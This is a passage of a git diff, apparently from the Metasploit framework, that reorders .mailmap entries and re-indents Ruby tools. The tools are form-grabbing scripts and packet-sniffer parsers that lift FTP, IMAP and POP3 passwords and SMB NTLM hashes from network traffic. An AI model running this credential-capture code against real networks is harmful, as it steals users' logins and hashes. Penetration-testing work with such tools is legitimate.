diff --git a/.mailmap b/.mailmap index 0b0bd860dd..7b9839f967 100644 --- a/.mailmap +++ b/.mailmap @@ -1,14 +1,13 @@ -bperry-r7 Brandon Perry -bperry-r7 Brandon Perry bturner-r7 Brandon Turner -dmaloney-r7 David Maloney # aka TheLightCosine dmaloney-r7 David Maloney +dmaloney-r7 David Maloney # aka TheLightCosine ecarey-r7 Erran Carey hmoore-r7 HD Moore hmoore-r7 HD Moore -jlee-r7 James Lee -jlee-r7 James Lee # aka egypt jlee-r7 egypt # aka egypt +jlee-r7 James Lee # aka egypt +jlee-r7 James Lee +joev-r7 joev joev-r7 Joe Vennix jvazquez-r7 jvazquez-r7 limhoff-r7 Luke Imhoff @@ -16,35 +15,39 @@ shuckins-r7 Samuel Huckins tasos-r7 Tasos Laskos todb-r7 Tod Beardsley todb-r7 Tod Beardsley -wchen-r7 Wei Chen wchen-r7 sinn3r # aka sinn3r wchen-r7 sinn3r +wchen-r7 Wei Chen +wvu-r7 William Vu +wvu-r7 William Vu -# Above this line are current Rapid7 employees Below this paragraph are +# Above this line are current Rapid7 employees. Below this paragraph are # volunteers, former employees, and potential Rapid7 employees who, at # one time or another, had some largeish number of commits landed on # rapid7/metasploit-framework master branch. This should be refreshed # periodically. If you're on this list and would like to not be, just # let todb@metasploit.com know. +bannedit David Rude +Brandon Perry Brandon Perry +Brandon Perry Brandon Perry Brian Wallace (B)rian (Wall)ace Brian Wallace Brian Wallace +ceballosm Mario Ceballos +Chao-mu Chao Mu +Chao-mu chao-mu +Chao-mu chao-mu ChrisJohnRiley Chris John Riley ChrisJohnRiley Chris John Riley -FireFart Christian Mehlmauer -Meatballs1 Ben Campbell -Meatballs1 Meatballs -Meatballs1 Meatballs1 -bannedit David Rude -ceballosm Mario Ceballos -corelanc0d3er Peter Van Eeckhoutte (corelanc0d3r) corelanc0d3er corelanc0d3r +corelanc0d3er Peter Van Eeckhoutte (corelanc0d3r) darkoperator Carlos Perez efraintorres efraintorres efraintorres et <> fab fab <> # fab at revhosts.net (Fabrice MOURRON) -h0ng10 Hans-Martin Münch +FireFart Christian Mehlmauer h0ng10 h0ng10 +h0ng10 Hans-Martin Münch jcran Jonathan Cran jcran Jonathan Cran jduck Joshua Drake @@ -56,6 +59,9 @@ kris kris <> m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 +Meatballs1 Ben Campbell +Meatballs1 Meatballs +Meatballs1 Meatballs1 mubix Rob Fuller nevdull77 Patrik Karlsson nmonkee nmonkee diff --git a/data/exploits/capture/http/forms/extractforms.rb b/data/exploits/capture/http/forms/extractforms.rb index 5602413b13..68d64581cc 100755 --- a/data/exploits/capture/http/forms/extractforms.rb +++ b/data/exploits/capture/http/forms/extractforms.rb @@ -15,8 +15,8 @@ require 'open-uri' require 'timeout' def usage - $stderr.puts "#{$0} [site list] [output-dir]" - exit(0) + $stderr.puts "#{$0} [site list] [output-dir]" + exit(0) end input = ARGV.shift() || usage() @@ -25,32 +25,32 @@ res = "" doc = Hpricot(File.open(input)) doc.search("//form").each do |form| - # Extract the form - res = " " + # Extract the form + res = " " - # Strip out the value - form.search("//input") do |inp| + # Strip out the value + form.search("//input") do |inp| - inp.attributes.keys.each do |ikey| - if (ikey.downcase == "value") - inp[ikey] = "" - next - end + inp.attributes.keys.each do |ikey| + if (ikey.downcase == "value") + inp[ikey] = "" + next + end - if(inp.attributes[ikey] =~ /^http/i) - inp[ikey] = "" - next - end + if(inp.attributes[ikey] =~ /^http/i) + inp[ikey] = "" + next + end - end + end - res << inp.to_html - end - res << "" + res << inp.to_html + end + res << "" end $stdout.puts res diff --git a/data/exploits/capture/http/forms/grabforms.rb b/data/exploits/capture/http/forms/grabforms.rb index 48438163d7..98a6e3400a 100755 --- a/data/exploits/capture/http/forms/grabforms.rb +++ b/data/exploits/capture/http/forms/grabforms.rb @@ -15,72 +15,72 @@ require 'open-uri' require 'timeout' def usage - $stderr.puts "#{$0} [site list] [output-dir]" - exit(0) + $stderr.puts "#{$0} [site list] [output-dir]" + exit(0) end sitelist = ARGV.shift() || usage() output = ARGV.shift() || usage() File.readlines(sitelist).each do |site| - site.strip! - next if site.length == 0 - next if site =~ /^#/ - - out = File.join(output, site + ".txt") - File.unlink(out) if File.exists?(out) - - fd = File.open(out, "a") - + site.strip! + next if site.length == 0 + next if site =~ /^#/ + + out = File.join(output, site + ".txt") + File.unlink(out) if File.exists?(out) + + fd = File.open(out, "a") + - ["", "www."].each do |prefix| - begin - Timeout.timeout(10) do - doc = Hpricot(open("http://#{prefix}#{site}/")) - doc.search("//form").each do |form| + ["", "www."].each do |prefix| + begin + Timeout.timeout(10) do + doc = Hpricot(open("http://#{prefix}#{site}/")) + doc.search("//form").each do |form| - # Extract the form - res = " " + # Extract the form + res = " " - # Strip out the value - form.search("//input") do |inp| + # Strip out the value + form.search("//input") do |inp| - inp.attributes.keys.each do |ikey| - if (ikey.downcase == "value") - inp[ikey] = "" - next - end + inp.attributes.keys.each do |ikey| + if (ikey.downcase == "value") + inp[ikey] = "" + next + end - if(inp.attributes[ikey] =~ /^http/i) - inp[ikey] = "" - next - end + if(inp.attributes[ikey] =~ /^http/i) + inp[ikey] = "" + next + end - end + end - res << inp.to_html - end - res << "" + res << inp.to_html + end + res << "" - fd.write(res) - end - end - break - rescue ::Timeout::Error - $stderr.puts "#{prefix}#{site} timed out" - rescue ::Interrupt - raise $! - rescue ::Exception => e - $stderr.puts "#{prefix}#{site} #{e.class} #{e}" - end - end - - fd.close - - File.unlink(out) if (File.size(out) == 0) + fd.write(res) + end + end + break + rescue ::Timeout::Error + $stderr.puts "#{prefix}#{site} timed out" + rescue ::Interrupt + raise $! + rescue ::Exception => e + $stderr.puts "#{prefix}#{site} #{e.class} #{e}" + end + end + + fd.close + + File.unlink(out) if (File.size(out) == 0) end diff --git a/data/exploits/psnuffle/ftp.rb b/data/exploits/psnuffle/ftp.rb index 5016f14811..d875d316b3 100755 --- a/data/exploits/psnuffle/ftp.rb +++ b/data/exploits/psnuffle/ftp.rb @@ -8,71 +8,71 @@ class SnifferFTP < BaseProtocolParser - def register_sigs - self.sigs = { - :banner => /^(220\s*[^\r\n]+)/i, - :user => /^USER\s+([^\s]+)/i, - :pass => /^PASS\s+([^\s]+)/i, - :login_pass => /^(230\s*[^\n]+)/i, - :login_fail => /^(5\d\d\s*[^\n]+)/i, - :bye => /^221/ - } - end + def register_sigs + self.sigs = { + :banner => /^(220\s*[^\r\n]+)/i, + :user => /^USER\s+([^\s]+)/i, + :pass => /^PASS\s+([^\s]+)/i, + :login_pass => /^(230\s*[^\n]+)/i, + :login_fail => /^(5\d\d\s*[^\n]+)/i, + :bye => /^221/ + } + end - def parse(pkt) - # We want to return immediatly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21) - s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt)) - s[:sname] ||= "ftp" + def parse(pkt) + # We want to return immediatly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21) + s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt)) + s[:sname] ||= "ftp" - self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil + self.sigs.each_key do |k| + # There is only one pattern per run to test + matched = nil + matches = nil - if(pkt.payload =~ self.sigs[k]) - matched = k - matches = $1 - end + if(pkt.payload =~ self.sigs[k]) + matched = k + matches = $1 + end - case matched + case matched - when :login_fail - if(s[:user] and s[:pass]) - report_auth_info(s.merge({:active => false})) - print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") + when :login_fail + if(s[:user] and s[:pass]) + report_auth_info(s.merge({:active => false})) + print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") - s[:pass] = "" - return - end + s[:pass] = "" + return + end - when :login_pass - if(s[:user] and s[:pass]) - report_auth_info(s) - print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") - # Remove it form the session objects so freeup memory - sessions.delete(s[:session]) - return - end + when :login_pass + if(s[:user] and s[:pass]) + report_auth_info(s) + print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") + # Remove it form the session objects so freeup memory + sessions.delete(s[:session]) + return + end - when :banner - # Because some ftp server send multiple banner we take only the first one and ignore the rest - if not (s[:info]) - s[:info] = matches - report_service(s) - end + when :banner + # Because some ftp server send multiple banner we take only the first one and ignore the rest + if not (s[:info]) + s[:info] = matches + report_service(s) + end - when :bye - sessions.delete(s[:session]) + when :bye + sessions.delete(s[:session]) - when nil - # No matches, no saved state - else - sessions[s[:session]].merge!({k => matches}) - end # end case matched + when nil + # No matches, no saved state + else + sessions[s[:session]].merge!({k => matches}) + end # end case matched - end # end of each_key - end # end of parse + end # end of each_key + end # end of parse end diff --git a/data/exploits/psnuffle/imap.rb b/data/exploits/psnuffle/imap.rb index 6888fb4246..4023be12b0 100755 --- a/data/exploits/psnuffle/imap.rb +++ b/data/exploits/psnuffle/imap.rb @@ -9,72 +9,72 @@ class SnifferIMAP < BaseProtocolParser - def register_sigs - self.sigs = { - :banner => /^(\*\s+OK[^\n\r]*)/i, - :login => /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/i, - :login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/i, - :login_bad => /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/i, - :login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/i - } - end + def register_sigs + self.sigs = { + :banner => /^(\*\s+OK[^\n\r]*)/i, + :login => /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/i, + :login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/i, + :login_bad => /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/i, + :login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/i + } + end - def parse(pkt) + def parse(pkt) - # We want to return immediatly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143) - s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt)) - s[:sname] ||= "imap4" + # We want to return immediatly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143) + s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt)) + s[:sname] ||= "imap4" - self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil + self.sigs.each_key do |k| + # There is only one pattern per run to test + matched = nil + matches = nil - if (pkt.payload =~ self.sigs[k]) - matched = k - matches = [$1,$2] - end + if (pkt.payload =~ self.sigs[k]) + matched = k + matches = [$1,$2] + end - case matched - when :banner - s[:info] = matches - report_service(s) + case matched + when :banner + s[:info] = matches + report_service(s) - when :login_pass + when :login_pass - report_auth_info(s) - print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + report_auth_info(s) + print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - # Remove it form the session objects so freeup - sessions.delete(s[:session]) + # Remove it form the session objects so freeup + sessions.delete(s[:session]) - when :login_fail + when :login_fail - report_auth_info(s.merge({:active => false})) - print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + report_auth_info(s.merge({:active => false})) + print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - # Remove it form the session objects so freeup - sessions.delete(s[:session]) + # Remove it form the session objects so freeup + sessions.delete(s[:session]) - when :login_bad - report_auth_info(s.merge({:active => false})) - print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + when :login_bad + report_auth_info(s.merge({:active => false})) + print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - # Remove it form the session objects so freeup - sessions.delete(s[:session]) + # Remove it form the session objects so freeup + sessions.delete(s[:session]) - when :login - s[:user]=$1 - s[:pass]=$2 + when :login + s[:user]=$1 + s[:pass]=$2 - when nil - # No matches, no saved state - else - sessions[s[:session]].merge!({k => matches}) - end # end case matched - end # end of each_key - end # end of parse + when nil + # No matches, no saved state + else + sessions[s[:session]].merge!({k => matches}) + end # end case matched + end # end of each_key + end # end of parse end diff --git a/data/exploits/psnuffle/pop3.rb b/data/exploits/psnuffle/pop3.rb index 117b8c03cb..10d851b3fc 100755 --- a/data/exploits/psnuffle/pop3.rb +++ b/data/exploits/psnuffle/pop3.rb @@ -6,83 +6,83 @@ # as unsuccessful logins... (Typos are common :-) ) # class SnifferPOP3 < BaseProtocolParser - def register_sigs - self.sigs = { - :ok => /^(\+OK[^\n]*)\n/i, - :err => /^(\-ERR[^\n]*)\n/i, - :user => /^USER\s+([^\n]+)\n/i, - :pass => /^PASS\s+([^\n]+)\n/i, - :quit => /^(QUIT\s*[^\n]*)\n/i - } - end + def register_sigs + self.sigs = { + :ok => /^(\+OK[^\n]*)\n/i, + :err => /^(\-ERR[^\n]*)\n/i, + :user => /^USER\s+([^\n]+)\n/i, + :pass => /^PASS\s+([^\n]+)\n/i, + :quit => /^(QUIT\s*[^\n]*)\n/i + } + end - def parse(pkt) - # We want to return immediatly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 110 and pkt.tcp_dport != 110) - s = find_session((pkt.tcp_sport == 110) ? get_session_src(pkt) : get_session_dst(pkt)) + def parse(pkt) + # We want to return immediatly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 110 and pkt.tcp_dport != 110) + s = find_session((pkt.tcp_sport == 110) ? get_session_src(pkt) : get_session_dst(pkt)) - self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil + self.sigs.each_key do |k| + # There is only one pattern per run to test + matched = nil + matches = nil - if(pkt.payload =~ self.sigs[k]) - matched = k - matches = $1 - end + if(pkt.payload =~ self.sigs[k]) + matched = k + matches = $1 + end - case matched - when :ok - # Last command was successful, in addition most servers transmit a banner with the first +OK - case s[:last] - when nil - # Its the first +OK must include the banner, worst case its just +OK - s[:info] = matches - s[:proto] = "tcp" - s[:name] = "pop3" - report_service(s) + case matched + when :ok + # Last command was successful, in addition most servers transmit a banner with the first +OK + case s[:last] + when nil + # Its the first +OK must include the banner, worst case its just +OK + s[:info] = matches + s[:proto] = "tcp" + s[:name] = "pop3" + report_service(s) - when :user - # When the last command was a username login - # We might keep track on this one in future - when :pass - # Perfect we get an +OK after a PASS command this means right password given :-) + when :user + # When the last command was a username login + # We might keep track on this one in future + when :pass + # Perfect we get an +OK after a PASS command this means right password given :-) - s[:proto] = "tcp" - s[:name] = "pop3" - s[:extra] = "Successful Login. Banner: #{s[:banner]}" - report_auth_info(s) - print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + s[:proto] = "tcp" + s[:name] = "pop3" + s[:extra] = "Successful Login. Banner: #{s[:banner]}" + report_auth_info(s) + print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - # Remove it form the session objects so freeup - sessions.delete(s[:session]) + # Remove it form the session objects so freeup + sessions.delete(s[:session]) - when :quit - # The session is terminated by the user just delete is as well - sessions.delete(s[:session]) - end - s[:last]=:ok + when :quit + # The session is terminated by the user just delete is as well + sessions.delete(s[:session]) + end + s[:last]=:ok - when :err - case s[:last] - when :pass - # Oops got a -ERR after a pass so its crap ignore the pass - # But report it, might be helpfull for guessing :-) + when :err + case s[:last] + when :pass + # Oops got a -ERR after a pass so its crap ignore the pass + # But report it, might be helpfull for guessing :-) - s[:proto]="pop3" - s[:extra]="Failed Login. Banner: #{s[:banner]}" - report_auth_info(s) - print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - s[:pass]="" - end - when nil - # No matches, no saved state - else - s[:last]=matched - sessions[s[:session]].merge!({k => matches}) - end # end case matched - end # end of each_key - end # end of parse + s[:proto]="pop3" + s[:extra]="Failed Login. Banner: #{s[:banner]}" + report_auth_info(s) + print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + s[:pass]="" + end + when nil + # No matches, no saved state + else + s[:last]=matched + sessions[s[:session]].merge!({k => matches}) + end # end case matched + end # end of each_key + end # end of parse end diff --git a/data/exploits/psnuffle/smb.rb b/data/exploits/psnuffle/smb.rb index 3bcd2e083f..c1702d51fd 100755 --- a/data/exploits/psnuffle/smb.rb +++ b/data/exploits/psnuffle/smb.rb @@ -6,206 +6,206 @@ #Memo : #FOR SMBV1 - # Authentification without extended security set - #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 - #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17 - #3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0) - #4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok + # Authentification without extended security set + #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 + #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17 + #3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0) + #4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok - # Authentification with extended security set - #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 - #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 - #3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message - #4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge - #5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes - #6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok + # Authentification with extended security set + #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 + #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 + #3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message + #4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge + #5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes + #6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok #FOR SMBV2 - #SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response + #SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response class SnifferSMB < BaseProtocolParser - def register_sigs - self.sigs = { - :smb1_negotiate => /\xffSMB\x72/n, - :smb1_setupandx => /\xffSMB\x73/n, - #:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n, - :smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n - } - end + def register_sigs + self.sigs = { + :smb1_negotiate => /\xffSMB\x72/n, + :smb1_setupandx => /\xffSMB\x73/n, + #:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n, + :smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n + } + end - def parse(pkt) - # We want to return immediatly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 445 and pkt.tcp_dport != 445) - s = find_session((pkt.tcp_sport == 445) ? get_session_src(pkt) : get_session_dst(pkt)) + def parse(pkt) + # We want to return immediatly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 445 and pkt.tcp_dport != 445) + s = find_session((pkt.tcp_sport == 445) ? get_session_src(pkt) : get_session_dst(pkt)) - self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil + self.sigs.each_key do |k| + # There is only one pattern per run to test + matched = nil + matches = nil - if(pkt.payload =~ self.sigs[k]) - matched = k - matches = $1 - end + if(pkt.payload =~ self.sigs[k]) + matched = k + matches = $1 + end - case matched - when :smb1_negotiate - payload = pkt.payload.dup - wordcount = payload[36,1].unpack("C")[0] - #negotiate response - if wordcount == 17 - flags2 = payload[14,2].unpack("v")[0] - #the server challenge is here - if flags2 & 0x800 == 0 - s[:challenge] = payload[73,8].unpack("H*")[0] - s[:last] = :smb1_negotiate - end - end + case matched + when :smb1_negotiate + payload = pkt.payload.dup + wordcount = payload[36,1].unpack("C")[0] + #negotiate response + if wordcount == 17 + flags2 = payload[14,2].unpack("v")[0] + #the server challenge is here + if flags2 & 0x800 == 0 + s[:challenge] = payload[73,8].unpack("H*")[0] + s[:last] = :smb1_negotiate + end + end - when :smb1_setupandx - s[:smb_version] = "SMBv1" - parse_sessionsetup(pkt, s) - when :smb2_setupandx - s[:smb_version] = "SMBv2" - parse_sessionsetup(pkt, s) - when nil - # No matches, no saved state - else - sessions[s[:session]].merge!({k => matches}) - end # end case matched + when :smb1_setupandx + s[:smb_version] = "SMBv1" + parse_sessionsetup(pkt, s) + when :smb2_setupandx + s[:smb_version] = "SMBv2" + parse_sessionsetup(pkt, s) + when nil + # No matches, no saved state + else + sessions[s[:session]].merge!({k => matches}) + end # end case matched - end # end of each_key - end # end of parse + end # end of each_key + end # end of parse - #ntlmv1, ntlmv2 or ntlm2_session - def detect_ntlm_ver(lmhash, ntlmhash) - return "NTLMv2" if ntlmhash.length > 48 - if lmhash.length == 48 and ntlmhash.length == 48 - if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16 - return "NTLM2_SESSION" - else - return "NTLMv1" - end - else - raise RuntimeError, "Unknow hash type" - end - end + #ntlmv1, ntlmv2 or ntlm2_session + def detect_ntlm_ver(lmhash, ntlmhash) + return "NTLMv2" if ntlmhash.length > 48 + if lmhash.length == 48 and ntlmhash.length == 48 + if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16 + return "NTLM2_SESSION" + else + return "NTLMv1" + end + else + raise RuntimeError, "Unknow hash type" + end + end - def parse_sessionsetup(pkt, s) - payload = pkt.payload.dup - ntlmpayload = payload[/NTLMSSP\x00.*/m] - if ntlmpayload - ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0] - case ntlmmessagetype - when 2 # challenge - s[:challenge] = ntlmpayload[24,8].unpack("H*")[0] - s[:last] = :ntlm_type2 - when 3 # auth - if s[:last] == :ntlm_type2 - lmlength = ntlmpayload[12, 2].unpack("v")[0] - lmoffset = ntlmpayload[16, 2].unpack("v")[0] - ntlmlength = ntlmpayload[20, 2].unpack("v")[0] - ntlmoffset = ntlmpayload[24, 2].unpack("v")[0] - domainlength = ntlmpayload[28, 2].unpack("v")[0] - domainoffset = ntlmpayload[32, 2].unpack("v")[0] - usrlength = ntlmpayload[36, 2].unpack("v")[0] - usroffset = ntlmpayload[40, 2].unpack("v")[0] + def parse_sessionsetup(pkt, s) + payload = pkt.payload.dup + ntlmpayload = payload[/NTLMSSP\x00.*/m] + if ntlmpayload + ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0] + case ntlmmessagetype + when 2 # challenge + s[:challenge] = ntlmpayload[24,8].unpack("H*")[0] + s[:last] = :ntlm_type2 + when 3 # auth + if s[:last] == :ntlm_type2 + lmlength = ntlmpayload[12, 2].unpack("v")[0] + lmoffset = ntlmpayload[16, 2].unpack("v")[0] + ntlmlength = ntlmpayload[20, 2].unpack("v")[0] + ntlmoffset = ntlmpayload[24, 2].unpack("v")[0] + domainlength = ntlmpayload[28, 2].unpack("v")[0] + domainoffset = ntlmpayload[32, 2].unpack("v")[0] + usrlength = ntlmpayload[36, 2].unpack("v")[0] + usroffset = ntlmpayload[40, 2].unpack("v")[0] - s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || '' - s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || '' - s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || '' - s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || '' + s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || '' + s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || '' + s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || '' + s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || '' - secbloblength = payload[51,2].unpack("v")[0] - names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') } - s[:peer_os] = names[0] || '' - s[:peer_lm] = names[1] || '' - s[:last] = :ntlm_type3 - end - end - else - wordcount = payload[36,1].unpack("C")[0] - #authentification without smb extended security (smbmount, msf server capture) - if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1" - lmlength = payload[51,2].unpack("v")[0] - ntlmlength = payload[53,2].unpack("v")[0] - s[:lmhash] = payload[65,lmlength].unpack("H*")[0] - s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0] - - names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') } + secbloblength = payload[51,2].unpack("v")[0] + names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') } + s[:peer_os] = names[0] || '' + s[:peer_lm] = names[1] || '' + s[:last] = :ntlm_type3 + end + end + else + wordcount = payload[36,1].unpack("C")[0] + #authentification without smb extended security (smbmount, msf server capture) + if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1" + lmlength = payload[51,2].unpack("v")[0] + ntlmlength = payload[53,2].unpack("v")[0] + s[:lmhash] = payload[65,lmlength].unpack("H*")[0] + s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0] + + names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') } - s[:user] = names[0] - s[:domain] = names[1] - s[:peer_os] = names[2] - s[:peer_lm] = names[3] - s[:last] = :smb_no_ntlm - else - #answer from server - if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm - #do not output anonymous/guest logging - unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m - #set lmhash to a default value if not provided - s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m - s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash] + s[:user] = names[0] + s[:domain] = names[1] + s[:peer_os] = names[2] + s[:peer_lm] = names[3] + s[:last] = :smb_no_ntlm + else + #answer from server + if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm + #do not output anonymous/guest logging + unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m + #set lmhash to a default value if not provided + s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m + s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash] - smb_status = payload[9,4].unpack("V")[0] - if smb_status == 0 # success + smb_status = payload[9,4].unpack("V")[0] + if smb_status == 0 # success - ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash]) + ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash]) - logmessage = - "#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" + - "USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" + - "SERVER CHALLENGE:#{s[:challenge]} " + - "\nLMHASH:#{s[:lmhash]} " + - "\nNTHASH:#{s[:ntlmhash]}\n" - print_status(logmessage) + logmessage = + "#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" + + "USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" + + "SERVER CHALLENGE:#{s[:challenge]} " + + "\nLMHASH:#{s[:lmhash]} " + + "\nNTHASH:#{s[:ntlmhash]}\n" + print_status(logmessage) - src_ip = s[:client_host] - dst_ip = s[:host] - # know this is ugly , last code added :-/ - smb_db_type_hash = case ntlm_ver - when "NTLMv1" then "smb_netv1_hash" - when "NTLM2_SESSION" then "smb_netv1_hash" - when "NTLMv2" then "smb_netv2_hash" - end - # DB reporting - report_auth_info( - :host => dst_ip, - :port => 445, - :sname => 'smb', - :user => s[:user], - :pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge], - :type => smb_db_type_hash, - :proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}", - :active => true - ) + src_ip = s[:client_host] + dst_ip = s[:host] + # know this is ugly , last code added :-/ + smb_db_type_hash = case ntlm_ver + when "NTLMv1" then "smb_netv1_hash" + when "NTLM2_SESSION" then "smb_netv1_hash" + when "NTLMv2" then "smb_netv2_hash" + end + # DB reporting + report_auth_info( + :host => dst_ip, + :port => 445, + :sname => 'smb', + :user => s[:user], + :pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge], + :type => smb_db_type_hash, + :proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}", + :active => true + ) - report_note( - :host => src_ip, - :type => "smb_peer_os", - :data => s[:peer_os] - ) if (s[:peer_os] and s[:peer_os].strip.length > 0) + report_note( + :host => src_ip, + 